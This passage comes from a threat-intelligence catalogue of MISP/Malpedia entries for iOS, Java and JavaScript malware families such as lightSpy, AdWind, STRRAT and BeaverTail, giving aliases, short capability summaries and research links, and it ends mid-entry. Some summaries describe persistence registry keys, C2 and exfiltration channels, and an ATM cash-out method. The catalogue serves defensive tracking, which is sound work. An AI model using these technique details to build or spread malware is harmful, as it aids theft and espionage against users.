https://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits/

DualToy (iOS)

The tag is: *misp-galaxy:malpedia="DualToy (iOS)"*

DualToy (iOS) is also known as:

Table 2713. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.dualtoy
http://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

GuiInject

The tag is: *misp-galaxy:malpedia="GuiInject"*

GuiInject is also known as:

Table 2714. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.guiinject
https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/

lightSpy

The tag is: *misp-galaxy:malpedia="lightSpy"*

lightSpy is also known as:

Table 2715. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.lightspy
https://www.threatfabric.com/blogs/lightspy-mapt-mobile-payment-system-attack
https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf
https://www.volexity.com/blog/2024/11/15/brazenbamboo-weaponizes-forticlient-vulnerability-to-steal-vpn-credentials-via-deepdata/
https://hunt.io/blog/lightspy-malware-targets-facebook-instagram
https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/
https://hunt.io/blog/tracking-lightspy-certificates-as-windows-into-adversary-behavior

Phenakite

The tag is: *misp-galaxy:malpedia="Phenakite"*

Phenakite is also known as:

- Dakkatoni

Table 2716. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.phenakite

https://malware4all.blogspot.com/2021/05/grab-your-own-copy-phenakite-ios.html

PoisonCarp

The tag is: *misp-galaxy:malpedia="PoisonCarp"*

PoisonCarp is also known as:

- INSOMNIA

Table 2717. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.poisoncarp
https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/
https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/
https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html

Postlo

The tag is: *misp-galaxy:malpedia="Postlo"*

Postlo is also known as:

Table 2718. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.postlo
https://twitter.com/opa334dev/status/1374754519268098051

TriangleDB

The tag is: *misp-galaxy:malpedia="TriangleDB"*

TriangleDB is also known as:

Table 2719. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.triangledb
https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/
https://securelist.com/triangledb-triangulation-implant/110050/
https://securelist.com/triangulation-validators-modules/110847/
https://securelist.com/operation-triangulation-catching-wild-triangle/110916/

https://media.ccc.de/v/37c3-11859-operation_triangulation_what_you_get_when_attack_iphones_of_researchers

VALIDVICTOR

According to Google, this reconnaissance payload uses a profiling framework drawing canvas to identify the target's exact iPhone model, a technique used by many other actors. The iPhone model is sent back to the C2 along with screen size, whether or not a touch screen is present, and a unique identifier per initial GET request (e.g., 1lwuzddaxoom5ylli37v90kj). The server replies with either an AES encrypted next stage or 0, indicating that no payload is available for this device. The payload makes another request to the exploit server with gcr=1 as a parameter to get the AES decryption key from the C2.

The tag is: *misp-galaxy:malpedia="VALIDVICTOR"*

VALIDVICTOR is also known as:

Table 2720. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.validvictor
https://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits/

WireLurker (iOS)

The iOS malware that is installed over USB by osx.wirelurker

The tag is: *misp-galaxy:malpedia="WireLurker (iOS)"*

WireLurker (iOS) is also known as:

Table 2721. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.wirelurker
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

X-Agent (iOS)

The tag is: *misp-galaxy:malpedia="X-Agent (iOS)"*

X-Agent (iOS) is also known as:

Table 2722. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/ios.xagent
https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-update-ios-espionage-app-found/
https://www.secureworks.com/research/threat-profiles/iron-twilight

AdWind

Part of Malware-as-service platform Used as a generic name for Java-based RAT Functionality - collect general system and user information - terminate process -log keystroke -take screenshot and access webcam - steal cache password from local or web forms - download and execute Malware - modify registry - download components - Denial of Service attacks - Acquire VPN certificates

Initial infection vector 1. Email to JAR files attached 2. Malspam URL to downlaod the malware

Persistence - Runkey - HKCU\Software\Microsoft\Windows\current version\run

Hiding Uses attrib.exe

Notes on Adwind The malware is not known to be proxy aware

The tag is: *misp-galaxy:malpedia="AdWind"*

AdWind is also known as:

- AlienSpy
- Frutas
- JBifrost
- JSocket
- Sockrat
- UNRECOM

Table 2723. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.adwind
https://marcoramilli.com/2018/08/20/interesting-hidden-threat-since-years/
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://research.checkpoint.com/malware-against-the-c-monoculture/
https://gist.github.com/herrcore/8336975475e88f9bc539d94000412885
https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://dissectingmalware.blogspot.com/2018/08/export-jratadwind-config-with-x32dbg.html
https://www.zscaler.com/blogs/research/compromised-wordpress-sites-used-distribute-adwind-rat
http://malware-traffic-analysis.net/2017/07/04/index.html
https://blogs.seqrite.com/evolution-of-jrat-java-malware/
https://citizenlab.ca/2015/12/packrat-report/
https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html
http://blog.trendmicro.com/trendlabs-security-intelligence/spam-remote-access-trojan-adwind-jrat
https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/

Adzok

The tag is: *misp-galaxy:malpedia="Adzok"*

Adzok is also known as:

Table 2724. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.adzok
https://citizenlab.ca/2015/12/packrat-report/

Akemi

According to VMRay, this malware family uses in interesting obfuscation technique: a trailing slash in its archive to confuse analysis tools. It abuses #GitHub as a #C2 and exfiltrates stolen data, such as browser cookies, via Discord webhooks. The GitHub repositories are quite active and exist since mid to late 2024. The malware also monitors keyboard and mouse input, takes screenshots.

The tag is: *misp-galaxy:malpedia="Akemi"*

Akemi is also known as:

Table 2725. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.akemi
https://x.com/vmray/status/1925095356871725065

Banload

F-Secure observed Banload variants silently downloading malicious files from a remote server,

then installing and executing the files.

The tag is: *misp-galaxy:malpedia="Banload"*

Banload is also known as:

Table 2726. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.banload
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AWin32%2FBanload
https://colin.guru/index.php?title=Advanced_Banload_Analysis
https://www.welivesecurity.com/wp-content/uploads/2015/05/CPL-Malware-in-Brasil-zx02m.pdf

Blue Banana RAT

The tag is: *misp-galaxy:malpedia="Blue Banana RAT"*

Blue Banana RAT is also known as:

Table 2727. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.bluebanana
https://www.virustotal.com/gui/file/60faab36491e07f10bf6a3ebe66ed9238459b2af7e36118fccd50583728141a4/community

CrossRAT

The tag is: *misp-galaxy:malpedia="CrossRAT"*

CrossRAT is also known as:

- Trupto

Table 2728. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.crossrat
https://objective-see.com/blog/blog_0x28.html
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

DynamicRAT

DynamicRAT is a malware that is spread via email attachments and compromises the security of computer systems. Once running on a device, DynamicRAT establishes a persistent presence and gives attackers complete remote control. Its features include sensitive data exfiltration, hardware control, remote action, and the ability to perform DDoS attacks. In addition, DynamicRAT uses evasion and persistence techniques to evade detection and analysis by security solutions.

The tag is: *misp-galaxy:malpedia="DynamicRAT"*

DynamicRAT is also known as:

- DYNARAT

Table 2729. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.dynamicrat
https://gi7w0rm.medium.com/dynamicrat-a-full-fledged-java-rat-1a2dabb11694

EpicSplit RAT

EpicSplit RAT is a multiplatform Java RAT that is capable of running shell commands, downloading, uploading, and executing files, manipulating the file system, establishing persistence, taking screenshots, and manipulating keyboard and mouse events. EpicSplit is typically obfuscated with the commercial Allatori Obfuscator software. One unique feature of the malware is that TCP messages sent by EpicSplit RAT to its C2 are terminated with the string "*packet*" as a packet delimiter.

The tag is: *misp-galaxy:malpedia="EpicSplit RAT"*

EpicSplit RAT is also known as:

Table 2730. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.epicsplit
https://www.zscaler.com/blogs/security-research/targeted-attacks-indian-government-and-financial-institutions-using-jsoutprox-rat

FEimea RAT

The tag is: *misp-galaxy:malpedia="FEimea RAT"*

FEimea RAT is also known as:

Table 2731. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/jar.feimea_rat	
https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/	

IceRat

According to Karsten Hahn, this malware is actually written in JPHP, but can be treated similar to .class files produced by Java. IceRat has been observed to carry out information stealing and mining.

The tag is: *misp-galaxy:malpedia="IceRat"*

IceRat is also known as:

Table 2732. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.icerat
https://www.gdatasoftware.com/blog/icerat-evades-antivirus-by-using-jphp

JavaDispCash

JavaDispCash is a piece of malware designed for ATMs. The compromise happens by using the JVM attach-API on the ATM's local application and the goal is to remotely control its operation. The malware's primary feature is the ability to dispense cash. The malware also spawns a local port (65413) listening for commands from the attacker which needs to be located in the same internal network.

The tag is: *misp-galaxy:malpedia="JavaDispCash"*

JavaDispCash is also known as:

Table 2733. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.javadispcash
https://twitter.com/r3c0nst/status/1111254169623674882
https://github.com/fboldewin/Libertad-y-gloria---A-Mexican-cyber-heist-story---CyberCrimeCon19-Singapore

JavaLocker

The tag is: *misp-galaxy:malpedia="JavaLocker"*

JavaLocker is also known as:

- JavaEncrypt Ransomware

Table 2734. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.javalocker
https://id-ransomware.blogspot.com/2020/03/javalocker-ransomware.html
https://dissectingmalwa.re/why-would-you-even-bother-javalocker.html

jRAT

jRAT, also known as Jacksbot, is a RAT with history, written in Java. It has support for macOS, Linux, Windows and various BSD. It also has functionality to participate in DDoS-attacks as well as to perform click fraud. Note that the Adwind family often is mistakenly labeled as jRAT, because of of a red hering reference to jrat.io.

The tag is: *misp-galaxy:malpedia="jRAT"*

jRAT is also known as:

- Jacksbot

Table 2735. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.jrat
https://www.eff.org/files/2018/01/29/operation-manul.pdf
https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/
https://research.checkpoint.com/malware-against-the-c-monoculture/
https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/
https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered

jSpy

The tag is: *misp-galaxy:malpedia="jSpy"*

jSpy is also known as:

Table 2736. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.jspy
https://how-to-hack.net/hacking-guides/review-of-jspy-rat-jspy-net/

Mineping

DDoS for Minecraft servers.

The tag is: *misp-galaxy:malpedia="Mineping"*

Mineping is also known as:

Table 2737. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.mineping
https://www.aquasec.com/blog/panamorfi-a-new-discord-ddos-campaign/
https://github.com/foxkera/mineping

Octopus Scanner

The tag is: *misp-galaxy:malpedia="Octopus Scanner"*

Octopus Scanner is also known as:

Table 2738. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.octopus_scanner
https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain
http://blog.nsfocus.net/github-ocs-0605/

Pronsis Loader

According to TrustWave, this is a loader leveraging JPHP, which was observed fetching Latrodectus and Lumma.

The tag is: *misp-galaxy:malpedia="Pronsis Loader"*

Pronsis Loader is also known as:

Table 2739. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.pronsis_loader
https://cloud.google.com/blog/topics/threat-intelligence/russian-espionage-influence-ukrainian-military-recruits-anti-mobilization-narratives?hl=en
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pronsis-loader-a-jphp-driven-malware-diverging-from-d3fck-loader/

https://cloud.google.com/blog/topics/threat-intelligence/russian-espionage-influence-ukrainian-military-recruits-anti-mobilization-narratives

Qarallax RAT

According to SpiderLabs, in May 2015 the "company" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax.com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT).

The tag is: *misp-galaxy:malpedia="Qarallax RAT"*

Qarallax RAT is also known as:

Table 2740. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.qarallax_rat
http://www.certego.net/en/news/nearly-undetectable-qarallax-rat-spreading-via-spam/

Qealler

The tag is: *misp-galaxy:malpedia="Qealler"*

Qealler is also known as:

- Pyrogenic Infostealer

Table 2741. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.qealler
https://www.herbiez.com/?p=1352
https://www.cyberark.com/threat-research-blog/qealler-the-silent-java-credential-thief/
https://www.securityinbits.com/malware-analysis/unpacking/unpacking-pyrogenic-qealler-using-java-agent-part-0x2/
https://github.com/jeFF0Falltrades/Malware-Writeups/blob/master/Qealler/Qealler-Unloaded.pdf
https://www.securityinbits.com/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/
https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer
https://www.securityinbits.com/malware-analysis/similarity-between-qealler-pyrogenic-variants-part-0x3/

QRat

QRat, also known as Quaverse RAT, was introduced in May 2015 as undetectable (because of multiple layers of obfuscation). It offers the usual functionality (password dumper, file browser, keylogger, screen shots/streaming, ...), and it comes as a SaaS. For additional historical context, please see jar.qarallax.

The tag is: *misp-galaxy:malpedia="QRat"*

QRat is also known as:

- Quaverse RAT

Table 2742. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.qrat
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-qnode-rat-downloader-distributed-as-trump-video-scandal/
https://www.digitrustgroup.com/java-rat-qrat/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rats-and-spam-the-nodejs-qrat/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT—Remote-Access-as-a-Service/

Ratty

Ratty is an open source Java RAT, made available on GitHub and promoted heavily on HackForums. At some point in 2016 / 2017 the original author deleted his repository, but several clones exist.

The tag is: *misp-galaxy:malpedia="Ratty"*

Ratty is also known as:

Table 2743. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty
https://www.fortinet.com/blog/threat-research/multilayered-email-attack-how-a-pdf-invoice-and-geofencing-led-to-rat-malware
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/
https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/

Sorillus RAT

Sorillus is a Java-based multifunctional remote access trojan (RAT) that targets Linux, macOS, and

Windows operating systems. First created in 2019, the tool gained significant attention in 2022 when various obfuscated client versions began appearing on VirusTotal starting January 18, 2022. The RAT's features were detailed on its now-defunct website (hxxps://sorillus[.]com), where it was marketed for lifetime access at 59.99€, with a discounted price of 19.99€ at the time. Payments were conveniently accepted via various cryptocurrencies.

The creator and distributor of Sorillus, a YouTube user known as "Tapt," claimed the tool could collect sensitive information from infected systems, including:

```
HardwareID
```

```
Username
```

```
Country
```

```
Language
```

```
Webcam footage
```

```
Headless status
```

```
Operating system details
```

```
Client version
```

However, Sorillus was shut down in 2025 following the FBI's Operation "Talent," which targeted alot of the Cracking infrastucture which included Sellix, the payment portal used by Sorillus for transactions. This operation disrupted the financial infrastructure supporting the RAT, leading to its cessation of operations 5 days later.

The tag is: *misp-galaxy:malpedia="Sorillus RAT"*

Sorillus RAT is also known as:

Table 2744. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.sorillus
https://www.orangecyberdefense.com/global/blog/cert-news/from-sambaspy-to-sorillus-dancing-through-a-multi-language-phishing-campaign-in-europe

https://abnormalsecurity.com/blog/tax-customers-sorillus-rat

STRRAT

STRRAT is a Java-based RAT, which makes extensive use of plugins to provide full remote access to an attacker, as well as credential stealing, key logging and additional plugins. The RAT has a focus on stealing credentials of browsers and email clients, and passwords via keylogging. It supports the following browsers and email clients: Firefox, Internet Explorer, Chrome, Foxmail, Outlook, Thunderbird.

Since Version 1.2 and above, STRRAT was infamous for its ransomware-like behavior of appending the file name extension .crimson to files. Version 1.5 is notably more obfuscated and modular than previous versions, but the backdoor functions mostly remain the same: collect browser passwords, run remote commands and PowerShell, log keystrokes, among others. Version 1.5 of STRRAT Malware includes a proper encryption routine, though currently pretty simple to revert.

The tag is: *misp-galaxy:malpedia="STRRAT"*

STRRAT is also known as:

Table 2745. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.strrat
https://www.fortinet.com/blog/threat-research/new-strrat-rat-phishing-campaign
https://www.gdatasoftware.com/blog/strrat-crimson
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://www.jaiminton.com/reverse-engineering/strrat
https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf
https://www.fortinet.com/blog/threat-research/vcurms-a-simple-and-functional-weapon
https://isc.sans.edu/diary/rss/27798
https://resources.securityscorecard.com/cybersecurity/analyze-java-malware-strrat#page=1
https://any.run/cybersecurity-blog/strrat-malware-analysis-of-a-jar-archive/
https://forensicitguy.github.io/strrat-attached-to-msi/
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain
https://securityscorecard.com/wp-content/uploads/2024/01/How-to-Analyze-Java-Malware-%E2%80%93-A-Case-Study-of-STRRAT.pdf
https://twitter.com/MsftSecIntel/status/1395138347601854465
https://www.jaiminton.com/reverse-engineering/strrat#

SupremeBot

The tag is: *misp-galaxy:malpedia="SupremeBot"*

SupremeBot is also known as:

- BlazeBot

Table 2746. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.supremebot
https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/

Verblecon

This malware seems to be used for attacks installing cryptocurrency miners on infected machines. Other indicators leads to the assumption that attackers may also use this malware for other purposes (e.g. stealing access tokens for Discord chat app). Symantec describes this malware as complex and powerful: The malware is loaded as a server-side polymorphic JAR file.

The tag is: *misp-galaxy:malpedia="Verblecon"*

Verblecon is also known as:

Table 2747. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.verblecon
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/verblecon-sophisticated-malware-cryptocurrency-mining-discord

VersaMem

According to Lumen, a web shell used by Volt Typhoon.

The tag is: *misp-galaxy:malpedia="VersaMem"*

VersaMem is also known as:

Table 2748. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.versamem
https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/

AIRBREAK

AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages.

The tag is: *misp-galaxy:malpedia="AIRBREAK"*

AIRBREAK is also known as:

- Orz

Table 2749. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.airbreak
https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
http://www.kahusecurity.com/posts/reflow_javascript_backdoor.html

Bateleur

The tag is: *misp-galaxy:malpedia="Bateleur"*

Bateleur is also known as:

Table 2750. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur
https://www.secureworks.com/research/threat-profiles/gold-niagara
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf

BeaverTail (Javascript)

BeaverTail is a JavaScript malware primarily distributed through NPM packages. It is designed for information theft and to load further stages of malware, specifically a multi-stage Python-based backdoor known as InvisibleFerret. BeaverTail targets cryptocurrency wallets and credit card information stored in the victim's web browsers. Its code is heavily obfuscated to evade detection. Threat actors can either upload malicious NPM packages containing BeaverTail to GitHub or inject

BeaverTail code into legitimate NPM projects. Researchers have identified additional Windows and macOS variants, indicating that the BeaverTail malware family is likely still under development.

The tag is: *misp-galaxy:malpedia="BeaverTail (Javascript)"*

BeaverTail (Javascript) is also known as:

Table 2751. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.beavertail
https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-apt-activity-report-q4-2024-q1-2025.pdf
https://unit42.paloaltonetworks.com/fake-north-korean-it-worker-activity-cluster/
https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/
https://opensourcemalware.com/blog/contagious-interview-vscode
https://www.bitdefender.com/en-us/blog/labs/lazarus-group-targets-organizations-with-sophisticated-linkedin-recruiting-scam
https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html
https://mp.weixin.qq.com/s/84lUaNSGo4lhQlpnCVUHfQ
https://www.nimanthadeshappriya.com/post/from-colombo-to-pyongyang
https://socket.dev/blog/contagious-interview-campaign-escalates-67-malicious-npm-packages
https://github.com/ssrdio/PublicIoC/tree/main/CestLaVie
https://www.virusbulletin.com/uploads/pdf/conference/vb2025/papers/DeceptiveDevelopment-and-North-Korean-IT-workers-from-primitive-crypto-theft-to-sophisticated-AI-based-deception.pdf
https://www-cdn.anthropic.com/b2a76c6f6992465c09a6f2fce282f6c0cea8c200.pdf
https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-from-primitive-crypto-theft-to-sophisticated-ai-based-deception/
https://socket.dev/blog/north-korean-contagious-interview-campaign-drops-35-new-malicious-npm-packages
https://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers
https://any.run/cybersecurity-blog/ottercookie-malware-analysis/
https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/
https://socket.dev/blog/north-korean-apt-lazarus-targets-developers-with-malicious-npm-package
https://medium.com/deriv-tech/how-a-fake-ai-recruiter-delivers-five-staged-malware-disguised-as-a-dream-job-64cc68fec263
https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/

https://objective-see.org/blog/blog_0x7A.html

https://securityscorecard.com/blog/the-job-offer-that-wasnt-how-we-stopped-an-espionage-plot

https://www.zscaler.com/blogs/security-research/pyongyang-your-payroll-rise-north-korean-remote-workers-west

https://security.macnica.co.jp/blog/2024/10/-contagious-interview.html

https://www.cert.si/tz016/

https://securitylabs.datadoghq.com/articles/tenacious-pungsan-dprk-threat-actor-contagious-interview/

https://doi.org/10.48550/arXiv.2505.21725

https://asec.ahnlab.com/en/87299/

https://socket.dev/blog/lazarus-expands-malicious-npm-campaign-11-new-packages-add-malware-loaders-and-bitbucket

https://jp.security.ntt/tech_blog/contagious-interview-ottercookie

https://www.securonix.com/blog/analysis-of-devpopper-new-attack-campaign-targeting-software-developers-likely-associated-with-north-korean-threat-actors/

https://www.group-ib.com/blog/apt-lazarus-python-scripts/

https://quetzal.bitso.com/p/interview-with-the-chollima

https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-targets-freelance-developers/

https://stacklok.com/blog/dependency-hijacking-dissecting-north-koreas-new-wave-of-defi-themed-open-source-attacks-targeting-developers

https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages

https://securityscorecard.com/blog/operation-phantom-circuit-north-koreas-global-data-exfiltration-campaign/

https://www.esentire.com/blog/bored-beavertail-invisibleferret-yacht-club-a-lazarus-lure-pt-2

https://blog.talosintelligence.com/beavertail-and-ottercookie/

https://www.securonix.com/blog/research-update-threat-actors-behind-the-devpopper-campaign-have-retooled-and-are-continuing-to-target-software-developers-via-social-engineering/

https://www.gov.il/BlobFolder/reports/beavertail/he/Analyzing%20the%20BeaverTail%20Infostealer.pdf

https://jp.security.ntt/tech_blog/en-waterplum-ottercookie

https://web.archive.org/web/20250206220041/https://stacklok.com/blog/dependency-hijacking-dissecting-north-koreas-new-wave-of-defi-themed-open-source-attacks-targeting-developers

https://www.recordedfuture.com/research/inside-the-scam-north-koreas-it-worker-threat

https://www.silentpush.com/blog/contagious-interview-front-companies/

BELLHOP

- BELLHOP is a JavaScript backdoor interpreted using the native Windows Scripting Host(WSH). After performing some basic host information gathering, the BELLHOP dropper downloads a base64-encoded blob of JavaScript to disk and sets up persistence in three ways:
- Creating a Run key in the Registry
- Creating a RunOnce key in the Registry
- Creating a persistent named scheduled task
- BELLHOP communicates using HTTP and HTTPS with primarily benign sites such as Google Docs and PasteBin.

The tag is: *misp-galaxy:malpedia="BELLHOP"*

BELLHOP is also known as:

Table 2752. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.bellhop
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf

CACTUSTORCH

According to the GitHub repo, CACTUSTORCH is a JavaScript and VBScript shellcode launcher. It will spawn a 32 bit version of the binary specified and inject shellcode into it.

The tag is: *misp-galaxy:malpedia="CACTUSTORCH"*

CACTUSTORCH is also known as:

Table 2753. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.cactustorch
https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf
https://www.macnica.net/file/mpression_automobile.pdf
https://www.codercto.com/a/46729.html
https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/
https://github.com/mdsecactivebreach/CACTUSTORCH
https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/

ChromeBack

GoSecure describes ChromeBack as a browser hijacker, redirecting traffic and serving advertisements to users.

The tag is: *misp-galaxy:malpedia="ChromeBack"*

ChromeBack is also known as:

Table 2754. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.chromeback
https://www.gosecure.net/blog/2022/02/10/malicious-chrome-browser-extension-exposed-chromeback-leverages-silent-extension-loading/
https://unit42.paloaltonetworks.com/chromeloader-malware/

ClearFake

ClearFake is a malicious JavaScript framework deployed on compromised websites to deliver further malware using the drive-by download technique. The malware leverages social engineering to trick the user into running a fake web browser update.

The tag is: *misp-galaxy:malpedia="ClearFake"*

ClearFake is also known as:

Table 2755. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.clearfake
https://blog.sekoia.io/clearfake-a-newcomer-to-the-fake-updates-threats-landscape/
https://www.kroll.com/en/insights/publications/cyber/clearfake-update-tricks-victim-executing-malicious-powershell-code
https://rmceoin.github.io/malware-analysis/clearfake/
https://blog.morphisec.com/coinlurker-the-stealer-powering-the-next-generation-of-fake-updates

ContagiousDrop

According to SentinelOne, these applications, typically implemented in app.js files, are deployed on ClickFix malware distribution servers. These applications run servers that listen on configured ports to handle incoming HTTP GET and POST requests, executing different functions based on the specific request path. The ContagiousDrop applications deliver malware disguised as software updates or essential utilities. They distribute a tailored payload based on the victim's operating system (Windows, macOS, or Linux), system architecture, and method of interaction with the server, such as the use of the curl command. In addition to delivering malware, the ContagiousDrop

applications feature an integrated email notification system. These notifications, sent from a configured email address, provide the Contagious Interview threat actors with insights into victim engagement and interaction patterns and are delivered to their configured recipient addresses.

The tag is: *misp-galaxy:malpedia="ContagiousDrop"*

ContagiousDrop is also known as:

Table 2756. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.contagious_drop
https://www.sentinelone.com/labs/contagious-interview-threat-actors-scout-cyber-intel-platforms-reveal-plans-and-ops/

CryptoNight

WebAssembly-based crpyto miner.

The tag is: *misp-galaxy:malpedia="CryptoNight"*

CryptoNight is also known as:

Table 2757. Table References

Links
